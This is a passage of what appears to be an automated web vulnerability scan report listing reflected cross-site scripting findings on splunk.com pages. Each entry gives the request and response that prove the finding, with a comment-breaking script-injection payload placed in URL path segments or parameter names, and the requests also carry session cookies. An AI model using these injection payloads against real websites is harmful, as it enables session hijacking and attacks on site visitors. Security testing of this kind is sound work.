__kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:04 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:04 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:04 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>91ab61ec940/professional-services/SP-CAAABH9 -->
...[SNIP]...

4.589. http://www.splunk.com/view/professional-services/SP-CAAABH9 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/professional-services/SP-CAAABH9

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 61dcc--><script>alert(1)</script>1db00d188d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/professional-services61dcc--><script>alert(1)</script>1db00d188d1/SP-CAAABH9 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:34 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:34 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>1db00d188d1/SP-CAAABH9 -->
...[SNIP]...

4.590. http://www.splunk.com/view/professional-services/SP-CAAABH9 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/professional-services/SP-CAAABH9

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 3015d--><script>alert(1)</script>ed02e14b7a7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/professional-services/SP-CAAABH93015d--><script>alert(1)</script>ed02e14b7a7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:22:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:52:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:52:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ed02e14b7a7 -->
...[SNIP]...

4.591. http://www.splunk.com/view/professional-services/SP-CAAABH9 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/professional-services/SP-CAAABH9

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f4445--><script>alert(1)</script>c7249b67761 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/professional-services/SP-CAAABH9?f4445--><script>alert(1)</script>c7249b67761=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:53 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37390

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c7249b67761=1 -->
...[SNIP]...

4.592. http://www.splunk.com/view/resources/SP-CAAACGF [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/resources/SP-CAAACGF

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 7309a--><script>alert(1)</script>a075b8cd53e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view7309a--><script>alert(1)</script>a075b8cd53e/resources/SP-CAAACGF HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:07 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:07 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:07 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a075b8cd53e/resources/SP-CAAACGF -->
...[SNIP]...

4.593. http://www.splunk.com/view/resources/SP-CAAACGF [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/resources/SP-CAAACGF

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 88525--><script>alert(1)</script>542705b5975 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/resources88525--><script>alert(1)</script>542705b5975/SP-CAAACGF HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:38 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:38 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>542705b5975/SP-CAAACGF -->
...[SNIP]...

4.594. http://www.splunk.com/view/resources/SP-CAAACGF [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/resources/SP-CAAACGF

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 144ec--><script>alert(1)</script>639ac29d6d6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/resources/SP-CAAACGF144ec--><script>alert(1)</script>639ac29d6d6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:07 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:07 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:07 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>639ac29d6d6 -->
...[SNIP]...

4.595. http://www.splunk.com/view/resources/SP-CAAACGF [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/resources/SP-CAAACGF

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 919c2--><script>alert(1)</script>3982ac994f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/resources/SP-CAAACGF?919c2--><script>alert(1)</script>3982ac994f=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:06 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: eb9cfeb9d7a6e24325ffde2edf44b8c41296944348
Last-Modified: Sat, 05 Feb 2011 22:19:08 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 50164

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3982ac994f=1 -->
...[SNIP]...

4.596. http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/security-and-compliance-solutions/SP-CAAADSB

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload d450f--><script>alert(1)</script>42a7031b7c6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewd450f--><script>alert(1)</script>42a7031b7c6/security-and-compliance-solutions/SP-CAAADSB HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:38 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:38 GMT; path=/
ETag: 49a34c81e83c003ee467cf27bae2c8db1296944198
Last-Modified: Sat, 05 Feb 2011 22:16:38 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>42a7031b7c6/security-and-compliance-solutions/SP-CAAADSB -->
...[SNIP]...

4.597. http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/security-and-compliance-solutions/SP-CAAADSB

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 3a9fd--><script>alert(1)</script>47564be78ef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/security-and-compliance-solutions3a9fd--><script>alert(1)</script>47564be78ef/SP-CAAADSB HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:11 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:11 GMT; path=/
